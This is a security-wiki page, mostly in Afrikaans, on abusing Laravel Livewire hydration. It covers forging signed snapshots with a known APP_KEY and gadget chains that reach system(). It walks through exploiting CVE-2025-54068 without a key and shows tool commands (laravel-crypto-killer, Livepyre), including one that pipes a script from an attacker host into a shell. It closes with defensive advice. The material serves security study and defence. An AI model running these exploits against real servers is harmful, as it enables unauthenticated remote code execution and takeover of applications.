Laravel Livewire Hydration & Synthesizer Abuse

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Opsomming van die Livewire toestandmasjien

Livewire 3-komponente ruil hul toestand deur middel van snapshots wat data, memo en ’n checksum bevat. Elke POST na /livewire/update herhidreer die JSON-snapshot aan die bedienerkant en voer die in die ry geplaasde calls/updates uit.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Enigeen wat APP_KEY (gebruik om $hashKey af te lei) besit, kan dus arbitrêre snapshots vervals deur die HMAC te herkalkuleer.

Komplekse eienskappe word gekodeer as synthetic tuples wat deur Livewire\Drawer\BaseUtils::isSyntheticTuple() opgespoor word; elke tuple is [value, {"s":"<key>", ...meta}]. Die hydration-kern delegeer eenvoudig elke tuple aan die synth geselekteer in HandleComponents::$propertySynthesizers en loop rekursief oor die kinders:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Hierdie herhalende ontwerp maak Livewire ’n generiese objek-instansiasie-enjin sodra ’n aanvaller óf die tuple-metadata óf enige geneste tuple wat tydens rekursie verwerk word, beheer.

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Instansieer new $meta['class']($value) nadat elke kind hergehidreer is. Enige klas met ’n array-konstruktor kan geskep word, en elke item kan self ’n sintetiese tuple wees.
FormObjectSynth (form)Roep new $meta['class']($component, $path) aan, en ken dan elke publieke eienskap van aanvaller-beheerde kinders toe via $hydrateChild. Konstruktorre wat twee los getipede parameters (of standaard-args) aanvaar, is genoeg om na arbitrêre publieke eienskappe te kom.
ModelSynth (mdl)Wanneer key afwesig is in meta, voer dit return new $class; uit, wat nul-argument-instansiasie van enige klas onder aanvallerbeheer moontlik maak.

Omdat synths $hydrateChild op elke geneste element aanroep, kan arbitrêre gadget-grafieke gebou word deur tuples rekursief te stapel.

Forging snapshots when APP_KEY is known

  1. Vang ’n wettige /livewire/update versoek en dekodeer components[0].snapshot.
  2. Inspuit geneste tuples wat na gadget-klasse wys en herbereken checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Herkodeer die snapshot, laat _token/memo onaangeraak, en herhaal die versoek.

’n Minimale bewys van uitvoering gebruik Guzzle’s FnStream en Flysystem’s ShardedPrefixPublicUrlGenerator. Een tuple instansieer FnStream met konstruktordata { "__toString": "phpinfo" }, die volgende instansieer ShardedPrefixPublicUrlGenerator met [FnStreamInstance] as $prefixes. Wanneer Flysystem elke prefix na string omskakel, roep PHP die aanvaller-geverskafde __toString callable aan, wat enige funksie sonder argumente aanroep.

From function calls to full RCE

Deur Livewire se instansiasie-primitiewe te benut, het Synacktiv phpggc se Laravel/RCE4 ketting aangepas sodat hydrasie ’n objek opstart waarvan die publieke Queueable toestand deserialisering aktiveer:

  1. Queueable trait – enige objek wat Illuminate\Bus\Queueable gebruik openbaar publieke $chained en voer unserialize(array_shift($this->chained)) uit in dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) word via CollectionSynth / FormObjectSynth geïnstantieer met publieke $chained ingevul.
  3. phpggc Laravel/RCE4Adapted – die geserialiseerde blob gestoor in $chained[0] bou PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() roep uiteindelik call_user_func_array($closure, $args) aan wat system($cmd) moontlik maak.
  4. Stealth termination – deur ’n tweede FnStream callable te gee soos [new Laravel\Prompts\Terminal(), 'exit'], eindig die versoek met exit() in plaas van ’n lawaaierige uitsondering, wat die HTTP-antwoord skoon hou.

Automating snapshot forgery

synacktiv/laravel-crypto-killer bevat nou ’n livewire-modus wat alles saamstel:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Die tool ontleed die vasgevangde snapshot, injekteer die gadget tuples, herbereken die checksum, en druk ’n gereed-om-te-stuur /livewire/update payload.

CVE-2025-54068 – RCE sonder APP_KEY

updates word in component state saamgevoeg die snapshot checksum gevalideer is. Indien ’n property binne die snapshot is (of word) ’n synthetic tuple, hergebruik Livewire sy meta terwyl dit die attacker-controlled update value hydrateer:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Vind ’n Livewire-komponent met ’n ongetipte publieke eienskap (e.g., public $count;).
  2. Stuur ’n update wat daardie eienskap op [] stel. Die volgende snapshot stoor dit dan as [[], {"s": "arr"}].
  3. Stel nog ’n updates payload op waar daardie eienskap ’n diep-geneste array bevat wat tupels insluit soos [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. Tydens rekursie evalueer hydrate() elke geneste kind onafhanklik, sodat deur die aanvaller gekose synth-sleutels/klasse gehonoreer word selfs al het die buitenste tups en checksum nooit verander nie.
  5. Hergebruik dieselfde CollectionSynth/FormObjectSynth primitives om ’n Queueable gadget te instansieer waarvan $chained[0] die phpggc payload bevat. Livewire verwerk die vervalste updates, roep dispatchNextJobInChain() aan, en bereik system(<cmd>) sonder om APP_KEY te ken.

Key reasons this works:

  • updates is nie deur die snapshot checksum gedek nie.
  • getMetaForPath() vertrou watter synth-metadata reeds vir daardie eienskap bestaan het, selfs al het die aanvaller dit vroeër gedwing om ’n tups te word deur swak tipering.
  • Rekursie plus swak tipering laat elke geneste array geïnterpreteer word as ’n heeltemal nuwe tups, sodat arbitrêre synth-sleutels en arbitrêre klasse uiteindelik by hydration uitkom.

Livepyre – end-to-end exploitation

Livepyre outomatiseer beide die APP_KEY-less CVE en die signed-snapshot path:

  • Bepaal die geïmplementeerde Livewire-weergawes deur <script src="/livewire/livewire.js?id=HASH"> te parse en die HASH aan kwesbare releases te koppel.
  • Versamel basis-snapshots deur onskadelike aksies te herhaal en components[].snapshot te onttrek.
  • Genereer óf ’n updates-slegs payload (CVE-2025-54068) óf ’n vervalste snapshot (bekende APP_KEY) wat die phpggc-ketting insluit.

Tipiese gebruik:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check voer ’n nie-destruktiewe probe uit, -F slaan version gating oor, -H en -P voeg aangepaste headers of proxies by, en --function/--param pas die php-funksie aan wat deur die gadget chain aangeroep word.

Verdedigingsoorwegings

  • Werk op na reggestelde Livewire-builds (>= 3.6.4 volgens die vendor bulletin) en rol die vendor patch vir CVE-2025-54068 uit.
  • Vermy swak getipeerde publieke eienskappe in Livewire-komponente; eksplisiete skala-tipes voorkom dat eienskapswaardes gedwing word na arrays/tuples.
  • Registreer slegs die synthesizers wat jy werklik nodig het en behandel gebruiker-beheerde metadata ($meta['class']) as onbetroubaar.
  • Weier opdaterings wat die JSON-tipe van ’n eienskap verander (bv. scalar -> array) tensy uitdruklik toegelaat, en lei synth-metadata weer af in plaas daarvan om verouderde tuples te hergebruik.
  • Draai APP_KEY onmiddellik na enige openbaarmaking om, want dit maak offline snapshot-vervalsing moontlik, ongeag hoe goed die kode-basis gepatch is.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks